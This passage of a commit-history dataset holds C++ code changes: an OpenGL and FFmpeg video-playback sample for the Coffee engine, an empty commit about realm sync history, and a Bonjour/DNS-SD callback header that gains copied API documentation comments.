33514;\n#endif\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <coffee\/CCore>\n#include <coffee\/CGraphics>\n#include <coffee\/CFFMedia>\n\n#include <coffee\/graphics_apis\/opengl\/include\/glfunctions.h>\n\nusing namespace Coffee;\nusing namespace Coffee::CGraphicsData;\nusing namespace Coffee::CGraphicsWrappers;\nusing namespace Coffee::CFFMedia;\n\nclass CDRenderer : public CDisplay::CGLBindingRenderer\n{\npublic:\n    CDRenderer():\n        CGLBindingRenderer(0)\n    {\n        m_msg_filter = coffee_graphics_debug_filter_all;\n    }\n\n    void run()\n    {\n        \/\/FFMPEG stuff here\n        coffee_ffmedia_init(nullptr,false);\n\n        \/\/Open video file\n        CResource testfile(\"test.mp4\");\n        coffee_file_pull(testfile);\n        \/\/Create a video player for the data\n        CFFVideoPlayer* video = coffee_ffmedia_create_player(testfile);\n\n        if(!video)\n            return;\n\n        \/\/Define video format\n        CFFVideoDescriptor v_fmt;\n        v_fmt.video.size.w = 1280;\n        v_fmt.video.size.h = 720;\n        \/\/Create a decoding context\n        CFFDecodeContext* dCtxt = coffee_ffmedia_create_decodecontext(video,v_fmt);\n        \/\/\n\n        \/\/OpenGL stuff\n\n        const CVec3 vertexdata[] = {\n            CVec3(-1.f, 1.f, 0.f),\n            CVec3( 1.f, 1.f, 0.f),\n            CVec3(-1.f,-1.f, 0.f),\n            CVec3( 1.f,-1.f, 0.f),\n        };\n\n        const CVec2 texdata[] = {\n            CVec2(0.f, 0.f), \/\/1\n            CVec2(1.f, 0.f), \/\/2\n            CVec2(0.f, 1.f), \/\/3\n            CVec2(1.f, 1.f), \/\/4\n        };\n\n        constexpr uint32 indexdata[] = {\n            0, 1, 2, 1, 2, 3,\n        };\n        constexpr byte_t vshader_src[] = {\n            \"#version 330\\n\"\n            \"layout(location = 0) in vec3 position;\"\n            \"layout(location = 1) in vec2 texcoord;\"\n            \"uniform mat4 transform;\"\n            \"out gl_PerVertex {\"\n            \"   vec4 gl_Position;\"\n            \"};\"\n            \"out VData {\"\n            \"   vec2 vtex;\"\n            \"} vdata;\"\n            \"void main(){\"\n            \"   vdata.vtex = texcoord;\"\n            \"   gl_Position = transform * vec4(position,1.0);\"\n            \"}\"\n        };\n\n        constexpr byte_t fshader_src[] = {\n            \"#version 330\\n\"\n            \"layout(location = 0) out vec4 Out_color;\"\n            \"uniform sampler2D diffsamp;\"\n            \"in VData {\"\n            \"   vec2 vtex;\"\n            \"} vdata;\"\n            \"void main(){\"\n            \"   vec4 smp = texture(diffsamp,vdata.vtex);\"\n            \"   Out_color = smp;\"\n            \"}\"\n        };\n        \/\/Construct a shader pipeline\n        CSimplePipeline pipeline;\n        pipeline.create(vshader_src,fshader_src);\n\n        \/\/Define buffers\n        CBuffer vertexbuffer;\n        CBuffer texcrdbuffer;\n        CBuffer indexbuffer;\n        {\n            vertexbuffer.type = CBufferType::Array;\n            indexbuffer.type = CBufferType::Index;\n\n            coffee_graphics_alloc(vertexbuffer);\n            coffee_graphics_alloc(texcrdbuffer);\n            coffee_graphics_alloc(indexbuffer);\n\n            coffee_graphics_activate(vertexbuffer);\n            coffee_graphics_activate(texcrdbuffer);\n            coffee_graphics_activate(indexbuffer);\n\n            coffee_graphics_buffer_store(vertexbuffer,vertexdata,sizeof(vertexdata),\n                                         CBufferUsage::StaticDraw);\n\n            coffee_graphics_buffer_store(texcrdbuffer,texdata,sizeof(texdata),\n                                         CBufferUsage::StaticDraw);\n\n            coffee_graphics_buffer_store(indexbuffer,indexdata,sizeof(indexdata),\n                                         CBufferUsage::StaticDraw);\n        }\n        \/\/Define vertex attributes\n        CVertexDescription vdescriptor;\n        vdescriptor.addAttribute<scalar,3,CDataType::Scalar>(0,vertexdata);\n        vdescriptor.addAttribute<scalar,2,CDataType::Scalar>(1,texdata);\n\n        vdescriptor.getBinding(0)->binding = 0;\n        vdescriptor.getBinding(0)->buffer = &vertexbuffer;\n        vdescriptor.getBinding(1)->binding = 1;\n        vdescriptor.getBinding(1)->buffer = &texcrdbuffer;\n        \/\/Define vertex array object\n        CVertexArrayObject vao;\n        coffee_graphics_alloc(vao);\n        coffee_graphics_bind(vao);\n        coffee_graphics_vao_attribute_index_buffer(vao,indexbuffer);\n        vdescriptor.applyAttributes(vao);\n        vdescriptor.bindAttributes(vao);\n        \/\/Define uniform data\n        CUniform matrixuni;\n        CUniform texuni;\n\n        texuni.object_name = \"diffsamp\";\n        matrixuni.object_name = \"transform\";\n\n        coffee_graphics_uniform_get(pipeline.frag,texuni);\n        coffee_graphics_uniform_get(pipeline.vert,matrixuni);\n\n        \/\/Create a video target\n        CByteData initTexture;\n        initTexture.size = coffee_ffmedia_video_framesize(CSize(v_fmt.video.size.w,\n                                                                v_fmt.video.size.h));\n        initTexture.data = (byte_t*)c_alloc(initTexture.size);\n\n        CRGBA* pixels = (CRGBA*)initTexture.data;\n\n        C_UNUSED(pixels);\n\n        CFFVideoTarget trg = {};\n        trg.v.location = initTexture.data;\n\n        bool status = coffee_ffmedia_decode_frame(video,dCtxt,&trg);\n\n        C_UNUSED(status);\n\n        \/\/Define output texture\n        CBufferedTexture<2> texture;\n        texture.createTexture(v_fmt.video.size,CTexIntFormat::RGBA8,\n                              CTexType::Tex2D,1,initTexture,CTexFormat::RGBA);\n\n        c_free(initTexture.data);\n\n        coffee_graphics_tex_load(texture.sampler(),texture.texture());\n\n        \/\/\n\n        \/\/Bind a pipeline\n        coffee_graphics_bind(pipeline.data_ref());\n\n        \/\/Set uniforms\n        CGCamera camera;\n        camera.aspect = 1.6f;\n        camera.fieldOfView = 60.f;\n        camera.position = CVec3(0,0,-3);\n\n        CMat4 cam_matrix = coffee_graphics_gen_perspective(camera)\n                * coffee_graphics_gen_transform(camera);\n\n        CTransform quad_trans;\n        quad_trans.position = CVec3(0,0,0);\n        quad_trans.scale = CVec3(1.6,1.0,1.0);\n\n        CMat4 quad_matrix = coffee_graphics_gen_transform(quad_trans);\n\n        CNode root;\n        root.transform = &cam_matrix;\n        CNode quad;\n        quad.parent = &root;\n        quad.transform = &quad_matrix;\n\n        CMat4 final_transform = coffee_node_get_transform(&quad);\n\n        coffee_graphics_uniform_set_texhandle(pipeline.frag,texuni,\n                                              texture.sampler().bhandle);\n        glProgramUniformMatrix4fv(pipeline.vert.handle,matrixuni.index,\n                                  1,GL_FALSE,(scalar*)&final_transform);\n        \/\/\n\n        \/\/Create a drawcall\n        CGLDrawCall drawcall = {};\n        drawcall.count = sizeof(indexdata)\/sizeof(indexdata[0]);\n        drawcall.instanceCount = 1;\n\n        double timeout = this->contextTime();\n        int counter;\n\n        this->showWindow();\n        while(!this->closeFlag())\n        {\n            coffee_graphics_clear(CClearFlag::Color);\n\n\n            \/\/FFMPEG\n            trg.v.location = texture.buffers().current().data;\n            coffee_ffmedia_decode_frame(video,dCtxt,&trg);\n\n            texture.uploadData(CTexFormat::RGBA,0);\n            \/\/\n\n            coffee_graphics_draw_indexed(CPrimitiveMode::Triangles,&drawcall);\n            texture.advance();\n\n            counter++;\n            if((this->contextTime()-timeout)>=1.0)\n            {\n                timeout = this->contextTime();\n                cDebug(\"Framerate: {0}\",counter);\n                counter=0;\n            }\n\n            this->swapBuffers();\n            this->pollEvents();\n        }\n\n        \/\/Free all the FFMPEG data\n        coffee_ffmedia_free_decodecontext(dCtxt);\n        coffee_ffmedia_free_player(video);\n        coffee_file_free(testfile);\n    }\n\n    void eventHandleI(const CIEvent &e, c_cptr data)\n    {\n        CSDL2Renderer::eventHandleI(e,data);\n        if(e.type == CIEvent::Keyboard)\n        {\n            const CIKeyEvent* kev = (const CIKeyEvent*)data;\n            if(kev->key == CK_Escape)\n                this->closeWindow();\n        }\n    }\n};\n\nint32 coffee_main(int32, byte_t**)\n{\n    coffee_file_set_resource_prefix(\"sample_data\/\");\n\n    CDisplay::CDRendererBase* renderer = new CDRenderer;\n    std::atomic_bool sync;\n    sync.store(false);\n    CDisplay::CDWindowProperties props = CDisplay::coffee_get_default_visual();\n    props.contextProperties.flags = props.contextProperties.flags|\n            CDisplay::CGLContextProperties::GLDebug|\n            CDisplay::CGLContextProperties::GLAutoResize\/*|\n            CDisplay::CGLContextProperties::GLVSync*\/;\n    props.flags = CDisplay::CDWindowProperties::Resizable;\n\n    std::future<void> status = CDisplay::coffee_display_start_async(&sync,renderer,props);\n\n    status.get();\n\n    return 0;\n}\n\nCOFFEE_APPLICATION_MAIN(coffee_main)\n<commit_msg> - Add legacy support<commit_after>#include <coffee\/CCore>\n#include <coffee\/CGraphics>\n#include <coffee\/CFFMedia>\n\n#include <coffee\/graphics_apis\/opengl\/include\/glfunctions.h>\n\nusing namespace Coffee;\nusing namespace Coffee::CGraphicsData;\nusing namespace Coffee::CGraphicsWrappers;\nusing namespace Coffee::CFFMedia;\n\nclass CDRenderer : public CDisplay::CGLBindingRenderer\n{\npublic:\n    CDRenderer():\n        CGLBindingRenderer(0)\n    {\n        m_msg_filter = coffee_graphics_debug_filter_all;\n    }\n\n    void run()\n    {\n        \/\/FFMPEG stuff here\n        coffee_ffmedia_init(nullptr,false);\n\n        \/\/Open video file\n        CResource testfile(\"test.mp4\");\n        coffee_file_pull(testfile);\n        \/\/Create a video player for the data\n        CFFVideoPlayer* video = coffee_ffmedia_create_player(testfile);\n\n        if(!video)\n            return;\n\n        \/\/Define video format\n        CFFVideoDescriptor v_fmt;\n        v_fmt.video.size.w = 1280;\n        v_fmt.video.size.h = 720;\n        \/\/Create a decoding context\n        CFFDecodeContext* dCtxt = coffee_ffmedia_create_decodecontext(video,v_fmt);\n        \/\/\n\n        \/\/OpenGL stuff\n\n        const CVec3 vertexdata[] = {\n            CVec3(-1.f, 1.f, 0.f),\n            CVec3( 1.f, 1.f, 0.f),\n            CVec3(-1.f,-1.f, 0.f),\n            CVec3( 1.f,-1.f, 0.f),\n        };\n\n        const CVec2 texdata[] = {\n            CVec2(0.f, 0.f), \/\/1\n            CVec2(1.f, 0.f), \/\/2\n            CVec2(0.f, 1.f), \/\/3\n            CVec2(1.f, 1.f), \/\/4\n        };\n\n        constexpr uint32 indexdata[] = {\n            0, 1, 2, 1, 2, 3,\n        };\n        constexpr byte_t vshader_src[] = {\n            \"#version 330\\n\"\n            \"layout(location = 0) in vec3 position;\"\n            \"layout(location = 1) in vec2 texcoord;\"\n            \"uniform mat4 transform;\"\n            \"out gl_PerVertex {\"\n            \"   vec4 gl_Position;\"\n            \"};\"\n            \"out VData {\"\n            \"   vec2 vtex;\"\n            \"} vdata;\"\n            \"void main(){\"\n            \"   vdata.vtex = texcoord;\"\n            \"   gl_Position = transform * vec4(position,1.0);\"\n            \"}\"\n        };\n\n        constexpr byte_t fshader_src[] = {\n            \"#version 330\\n\"\n            \"layout(location = 0) out vec4 Out_color;\"\n            \"uniform sampler2D diffsamp;\"\n            \"in VData {\"\n            \"   vec2 vtex;\"\n            \"} vdata;\"\n            \"void main(){\"\n            \"   vec4 smp = texture(diffsamp,vdata.vtex);\"\n            \"   Out_color = smp;\"\n            \"}\"\n        };\n        \/\/Construct a shader pipeline\n        CSimplePipeline pipeline;\n        pipeline.create(vshader_src,fshader_src);\n\n        \/\/Define buffers\n        CBuffer vertexbuffer;\n        CBuffer texcrdbuffer;\n        CBuffer indexbuffer;\n        {\n            vertexbuffer.type = CBufferType::Array;\n            indexbuffer.type = CBufferType::Index;\n\n            coffee_graphics_alloc(vertexbuffer);\n            coffee_graphics_alloc(texcrdbuffer);\n            coffee_graphics_alloc(indexbuffer);\n\n            coffee_graphics_activate(vertexbuffer);\n            coffee_graphics_activate(texcrdbuffer);\n            coffee_graphics_activate(indexbuffer);\n\n            coffee_graphics_buffer_store(vertexbuffer,vertexdata,sizeof(vertexdata),\n                                         CBufferUsage::StaticDraw);\n\n            coffee_graphics_buffer_store(texcrdbuffer,texdata,sizeof(texdata),\n                                         CBufferUsage::StaticDraw);\n\n            coffee_graphics_buffer_store(indexbuffer,indexdata,sizeof(indexdata),\n                                         CBufferUsage::StaticDraw);\n        }\n        \/\/Define vertex attributes\n        CVertexDescription vdescriptor;\n        vdescriptor.addAttribute<scalar,3,CDataType::Scalar>(0,vertexdata);\n        vdescriptor.addAttribute<scalar,2,CDataType::Scalar>(1,texdata);\n\n        vdescriptor.getBinding(0)->binding = 0;\n        vdescriptor.getBinding(0)->buffer = &vertexbuffer;\n        vdescriptor.getBinding(1)->binding = 1;\n        vdescriptor.getBinding(1)->buffer = &texcrdbuffer;\n        \/\/Define vertex array object\n        CVertexArrayObject vao;\n        coffee_graphics_alloc(vao);\n        coffee_graphics_bind(vao);\n        coffee_graphics_vao_attribute_index_buffer(vao,indexbuffer);\n        vdescriptor.applyAttributes(vao);\n        vdescriptor.bindAttributes(vao);\n        \/\/Define uniform data\n        CUniform matrixuni;\n        CUniform texuni;\n\n        texuni.object_name = \"diffsamp\";\n        matrixuni.object_name = \"transform\";\n\n        coffee_graphics_uniform_get(pipeline.frag,texuni);\n        coffee_graphics_uniform_get(pipeline.vert,matrixuni);\n\n        \/\/Create a video target\n        CByteData initTexture;\n        initTexture.size = coffee_ffmedia_video_framesize(CSize(v_fmt.video.size.w,\n                                                                v_fmt.video.size.h));\n        initTexture.data = (byte_t*)c_alloc(initTexture.size);\n\n        CRGBA* pixels = (CRGBA*)initTexture.data;\n\n        C_UNUSED(pixels);\n\n        CFFVideoTarget trg = {};\n        trg.v.location = initTexture.data;\n\n        bool status = coffee_ffmedia_decode_frame(video,dCtxt,&trg);\n\n        C_UNUSED(status);\n\n        \/\/Define output texture\n        CBufferedTexture<2> texture;\n        texture.createTexture(v_fmt.video.size,CTexIntFormat::RGBA8,\n                              CTexType::Tex2D,1,initTexture,CTexFormat::RGBA);\n\n        c_free(initTexture.data);\n\n        coffee_graphics_tex_load_safe(texture.sampler(),texture.texture());\n\n        \/\/\n\n        \/\/Bind a pipeline\n        coffee_graphics_bind(pipeline.data_ref());\n\n        \/\/Set uniforms\n        CGCamera camera;\n        camera.aspect = 1.6f;\n        camera.fieldOfView = 60.f;\n        camera.position = CVec3(0,0,-3);\n\n        CMat4 cam_matrix = coffee_graphics_gen_perspective(camera)\n                * coffee_graphics_gen_transform(camera);\n\n        CTransform quad_trans;\n        quad_trans.position = CVec3(0,0,0);\n        quad_trans.scale = CVec3(1.6,1.0,1.0);\n\n        CMat4 quad_matrix = coffee_graphics_gen_transform(quad_trans);\n\n        CNode root;\n        root.transform = &cam_matrix;\n        CNode quad;\n        quad.parent = &root;\n        quad.transform = &quad_matrix;\n\n        CMat4 final_transform = coffee_node_get_transform(&quad);\n\n        coffee_graphics_uniform_set_texhandle_safe(pipeline.frag,texuni,\n                                                   texture.sampler().unit);\n        glProgramUniformMatrix4fv(pipeline.vert.handle,matrixuni.index,\n                                  1,GL_FALSE,(scalar*)&final_transform);\n        \/\/\n\n        \/\/Create a drawcall\n        CGLDrawCall drawcall = {};\n        drawcall.count = sizeof(indexdata)\/sizeof(indexdata[0]);\n        drawcall.instanceCount = 1;\n\n        double timeout = this->contextTime();\n        int counter;\n\n        this->showWindow();\n        while(!this->closeFlag())\n        {\n            coffee_graphics_clear(CClearFlag::Color);\n\n\n            \/\/FFMPEG\n            trg.v.location = texture.buffers().current().data;\n            coffee_ffmedia_decode_frame(video,dCtxt,&trg);\n\n            texture.uploadData(CTexFormat::RGBA,0);\n            \/\/\n\n            coffee_graphics_draw_indexed(CPrimitiveMode::Triangles,&drawcall);\n            texture.advance();\n\n            counter++;\n            if((this->contextTime()-timeout)>=1.0)\n            {\n                timeout = this->contextTime();\n                cDebug(\"Framerate: {0}\",counter);\n                counter=0;\n            }\n\n            this->swapBuffers();\n            this->pollEvents();\n        }\n\n        \/\/Free all the FFMPEG data\n        coffee_ffmedia_free_decodecontext(dCtxt);\n        coffee_ffmedia_free_player(video);\n        coffee_file_free(testfile);\n\n        for(const std::pair<CString,CString>& ft : CDisplay::coffee_glbinding_get_graphics_feature_level())\n        {\n            cBasicPrint(\"{0} : {1}\",ft.first.c_str(),ft.second.c_str());\n        }\n    }\n\n    void eventHandleI(const CIEvent &e, c_cptr data)\n    {\n        CSDL2Renderer::eventHandleI(e,data);\n        if(e.type == CIEvent::Keyboard)\n        {\n            const CIKeyEvent* kev = (const CIKeyEvent*)data;\n            if(kev->key == CK_Escape)\n                this->closeWindow();\n        }\n    }\n};\n\nint32 coffee_main(int32, byte_t**)\n{\n    coffee_file_set_resource_prefix(\"sample_data\/\");\n\n    CDisplay::CDRendererBase* renderer = new CDRenderer;\n    std::atomic_bool sync;\n    sync.store(false);\n    CDisplay::CDWindowProperties props = CDisplay::coffee_get_default_visual();\n    props.contextProperties.flags = props.contextProperties.flags|\n            CDisplay::CGLContextProperties::GLDebug|\n            CDisplay::CGLContextProperties::GLFeatureLevelProfile|\n            CDisplay::CGLContextProperties::GLAutoResize\/*|\n            CDisplay::CGLContextProperties::GLVSync*\/;\n    props.flags = CDisplay::CDWindowProperties::Resizable;\n\n    std::future<void> status = CDisplay::coffee_display_start_async(&sync,renderer,props);\n\n    status.get();\n\n    return 0;\n}\n\nCOFFEE_APPLICATION_MAIN(coffee_main)\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Expose option to force the sync history type when opening a realm (#966)<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef BONJOUR_DNSD_CALLBACK_FUNC_DEF_H__\n#define BONJOUR_DNSD_CALLBACK_FUNC_DEF_H__\n\n#include <boost\/function.hpp>\n\n#include <ddnspp\/bonjourpp\/dnsdapi.hpp>\n#include <ddnspp\/bonjourpp\/bonjourerror.hpp>\n#include <ddnspp\/bonjourpp\/txtrecords.hpp>\n#include <ddnspp\/bonjourpp\/prototype.hpp>\n#include <ddnspp\/bonjourpp\/nat_status.hpp>\n\n\nnamespace air{namespace bonjour {\n\n\t\/\/\/ Event callback for air::bonjour::LocalService\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _2 error\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _3 service name\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _4 service type\n\t\tstd::string\t\t\t\t\t\t\t\/\/\/ _5 domian\n\t\t)\n\t\t>\t\tLocalServiceEvtCallback;\n\n\n\t\/\/\/ Event callback  for air::bonjour::RemoteService\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _3 error\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _4 service name (for subsequent use in the ServiceResolver )\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _5 service type\n\t\tstd::string\t\t\t\t\t\t\t\/\/\/ _6 domian\n\t\t)\n\t\t>\n\t\tRemoteServiceEvtCallback;\n\n\n\t\/\/\/ Event callback  for air::bonjour::ServiceResolver\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _3 error \n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _4 service name(fullname, format:<servicename>.<protocol>.<domain>) \n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _5 host name ,This name can  be passed to functions like gethostbyname() to identify the host's IP address.\n\t\tboost::uint16_t,\t\t\t\t\t\/\/\/ _6 port\n\t\tTxtRecordDecoderPtr\t\t\t\t\t\/\/\/ _7 TxtRecordDecoder (include a copy of dns record)\n\t\t)\n\t\t>\t\tServiceResolverEvtCallback;\n\n\t\/\/\/ Event callback  for air::bonjour::AddressResolver\n\t\/\/\/ @note   After the TTL expires, the client should consider the result no longer valid\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\/\/\/ _3 error\n\t\tstd::string,\t\t\t\t\/\/\/ _4 hostname the hostname that you ask for rsolve address\n\t\tboost::asio::ip::address,\t\/\/\/ _5 address\trsolved address\n\t\tboost::uint32_t\t\t\t\t\/\/\/ _6 TTL indicates how long the client may legitimately hold onto this result(address), in seconds.\n\t\t)\n\t\t>\t\tAddressResolverEvtCallback;\n\n\n\t\/\/\/ Event callback  for air::bonjour::DomainEumerater\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _3 error\n\t\tstd::string\t\t\t\t\t\t\t\/\/\/ _4 replyDomain\n\t\t)\n\t\t>\n\t\tEnumerationEvtCallback;\n\n\n\t\/\/\/ Event callback  for air::bonjour::NatMappingService\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\/\/\/ _1 flags,Currently unused, reserved for future use\n\t\tboost::uint32_t,\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\/\/\/ _3 error\n\t\tboost::uint16_t,\t\t\t\/\/\/ _6 internal port\n\t\tboost::asio::ip::address,\t\/\/\/ _4 external address\n\t\tboost::uint16_t,\t\t\t\/\/\/ _5 external port,may be different than the requested port\n\t\tair::bonjour::ProtoType,\t\/\/\/ _6 protocol used for nat mapping\n\t\tboost::uint32_t,\t\t\t\/\/\/ _7 TTL , in seconds.indicates The lifetime of the NAT port mapping created on the gateway.\n\t\tair::bonjour::NatStatus\t\t\/\/\/ _8 NatStatus ,used to check nat status if error==true\n\t\t)\n\t\t>\t\tNatMapingEvtCallback;\n\n\n\n}\/\/namespace\n}\/\/namespace\n#endif\/\/BONJOUR_DNSD_CALLBACK_FUNC_DEF_H__<commit_msg>copy comment to callback func<commit_after>#ifndef BONJOUR_DNSD_CALLBACK_FUNC_DEF_H__\n#define BONJOUR_DNSD_CALLBACK_FUNC_DEF_H__\n\n#include <boost\/function.hpp>\n\n#include <ddnspp\/bonjourpp\/dnsdapi.hpp>\n#include <ddnspp\/bonjourpp\/bonjourerror.hpp>\n#include <ddnspp\/bonjourpp\/txtrecords.hpp>\n#include <ddnspp\/bonjourpp\/prototype.hpp>\n#include <ddnspp\/bonjourpp\/nat_status.hpp>\n\n\nnamespace air{namespace bonjour {\n\n\t\n\n\t\/\/\/ Event callback  for air::bonjour::DomainEumerater\n\t\/* \n\t *\n\t * Asynchronously enumerate domains available for browsing and registration.\n\t *\n\t * The enumeration MUST be cancelled via DNSServiceRefDeallocate() when no more domains\n\t * are to be found.\n\t *\n\t * Note that the names returned are (like all of DNS-SD) UTF-8 strings,\n\t * and are escaped using standard DNS escaping rules.\n\t * (See \"Notes on DNS Name Escaping\" earlier in this file for more details.)\n\t * A graphical browser displaying a hierarchical tree-structured view should cut\n\t * the names at the bare dots to yield individual labels, then de-escape each\n\t * label according to the escaping rules, and then display the resulting UTF-8 text.\n\t *\n\t * Parameters:\n\t *\n\t *\n\t * flags:           Possible values are:\n\t *                  kDNSServiceFlagsMoreComing\n\t *                  kDNSServiceFlagsAdd\n\t *                  kDNSServiceFlagsDefault\n\t *\n\t * interfaceIndex:  Specifies the interface on which the domain exists. (The index for a given\n\t *                  interface is determined via the if_nametoindex() family of calls.)\n\t *\n\t * errorCode:       Will be kDNSServiceErr_NoError (0) on success, otherwise indicates\n\t *                  the failure that occurred (other parameters are undefined if errorCode is nonzero).\n\t *\n\t * replyDomain:     The name of the domain.\n\t *\n\t *\n\t *\/\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _3 error\n\t\tstd::string\t\t\t\t\t\t\t\/\/\/ _4 replyDomain\n\t\t)\n\t\t>\n\t\tEnumerationEvtCallback;\n\n\n\n\t\/\/\/ Event callback for air::bonjour::LocalService\n\t\/* \n\t * Parameters:\n\t *\n\t *\n\t * flags:           When a name is successfully registered, the callback will be\n\t *                  invoked with the kDNSServiceFlagsAdd flag set. When Wide-Area\n\t *                  DNS-SD is in use, it is possible for a single service to get\n\t *                  more than one success callback (e.g. one in the \"local\" multicast\n\t *                  DNS domain, and another in a wide-area unicast DNS domain).\n\t *                  If a successfully-registered name later suffers a name conflict\n\t *                  or similar problem and has to be deregistered, the callback will\n\t *                  be invoked with the kDNSServiceFlagsAdd flag not set. The callback\n\t *                  is *not* invoked in the case where the caller explicitly terminates\n\t *                  the service registration by calling DNSServiceRefDeallocate(ref);\n\t *\n\t * errorCode:       Will be kDNSServiceErr_NoError on success, otherwise will\n\t *                  indicate the failure that occurred (including name conflicts,\n\t *                  if the kDNSServiceFlagsNoAutoRename flag was used when registering.)\n\t *                  Other parameters are undefined if errorCode is nonzero.\n\t *\n\t * name:            The service name registered (if the application did not specify a name in\n\t *                  DNSServiceRegister(), this indicates what name was automatically chosen).\n\t *\n\t * regtype:         The type of service registered, as it was passed to the callout.\n\t *\n\t * domain:          The domain on which the service was registered (if the application did not\n\t *                  specify a domain in DNSServiceRegister(), this indicates the default domain\n\t *                  on which the service was registered).\n\t *\n\t *\n\t *\/\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _2 errorCode\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _3 service name\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _4 service type\n\t\tstd::string\t\t\t\t\t\t\t\/\/\/ _5 domian\n\t\t)\n\t\t>\t\tLocalServiceEvtCallback;\n\n\n\t\/\/\/ Event callback  for air::bonjour::RemoteService\n\t\/* Parameters:\n\t *\n\t *\n\t * flags:           Possible values are kDNSServiceFlagsMoreComing and kDNSServiceFlagsAdd.\n\t *                  See flag definitions for details.\n\t *\n\t * interfaceIndex:  The interface on which the service is advertised. This index should\n\t *                  be passed to DNSServiceResolve() when resolving the service.\n\t *\n\t * errorCode:       Will be kDNSServiceErr_NoError (0) on success, otherwise will\n\t *                  indicate the failure that occurred. Other parameters are undefined if\n\t *                  the errorCode is nonzero.\n\t *\n\t * serviceName:     The discovered service name. This name should be displayed to the user,\n\t *                  and stored for subsequent use in the DNSServiceResolve() call.\n\t *\n\t * serviceType:     The service type, which is usually (but not always) the same as was passed\n\t *                  to DNSServiceBrowse(). One case where the discovered service type may\n\t *                  not be the same as the requested service type is when using subtypes:\n\t *                  The client may want to browse for only those ftp servers that allow\n\t *                  anonymous connections. The client will pass the string \"_ftp._tcp,_anon\"\n\t *                  to DNSServiceBrowse(), but the type of the service that's discovered\n\t *                  is simply \"_ftp._tcp\". The regtype for each discovered service instance\n\t *                  should be stored along with the name, so that it can be passed to\n\t *                  DNSServiceResolve() when the service is later resolved.\n\t *\n\t * domain:          The domain of the discovered service instance. This may or may not be the\n\t *                  same as the domain that was passed to DNSServiceBrowse(). The domain for each\n\t *                  discovered service instance should be stored along with the name, so that\n\t *                  it can be passed to DNSServiceResolve() when the service is later resolved.\n\t *\n\t *\n\t *\/\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _3 error\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _4 service name (for subsequent use in the ServiceResolver )\n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _5 service type\n\t\tstd::string\t\t\t\t\t\t\t\/\/\/ _6 domian\n\t\t)\n\t\t>\n\t\tRemoteServiceEvtCallback;\n\n\n\t\/\/\/ Event callback  for air::bonjour::ServiceResolver\n\t\/* \n\t *\n\t * Resolve a service name discovered via DNSServiceBrowse() to a target host name, port number, and\n\t * txt record.\n\t *\n\t * Note: Applications should NOT use DNSServiceResolve() solely for txt record monitoring - use\n\t * DNSServiceQueryRecord() instead, as it is more efficient for this task.\n\t *\n\t * Note: When the desired results have been returned, the client MUST terminate the resolve by calling\n\t * DNSServiceRefDeallocate().\n\t *\n\t * Note: DNSServiceResolve() behaves correctly for typical services that have a single SRV record\n\t * and a single TXT record. To resolve non-standard services with multiple SRV or TXT records,\n\t * DNSServiceQueryRecord() should be used.\n\t *\n\t * Parameters:\n\t *\n\t *\n\t * flags:           Possible values: kDNSServiceFlagsMoreComing\n\t *\n\t * interfaceIndex:  The interface on which the service was resolved.\n\t *\n\t * errorCode:       Will be kDNSServiceErr_NoError (0) on success, otherwise will\n\t *                  indicate the failure that occurred. Other parameters are undefined if\n\t *                  the errorCode is nonzero.\n\t *\n\t * fullname:        The full service domain name, in the form <servicename>.<protocol>.<domain>.\n\t *                  (This name is escaped following standard DNS rules, making it suitable for\n\t *                  passing to standard system DNS APIs such as res_query(), or to the\n\t *                  special-purpose functions included in this API that take fullname parameters.\n\t *                  See \"Notes on DNS Name Escaping\" earlier in this file for more details.)\n\t *\n\t * hosttarget:      The target hostname of the machine providing the service. This name can\n\t *                  be passed to functions like gethostbyname() to identify the 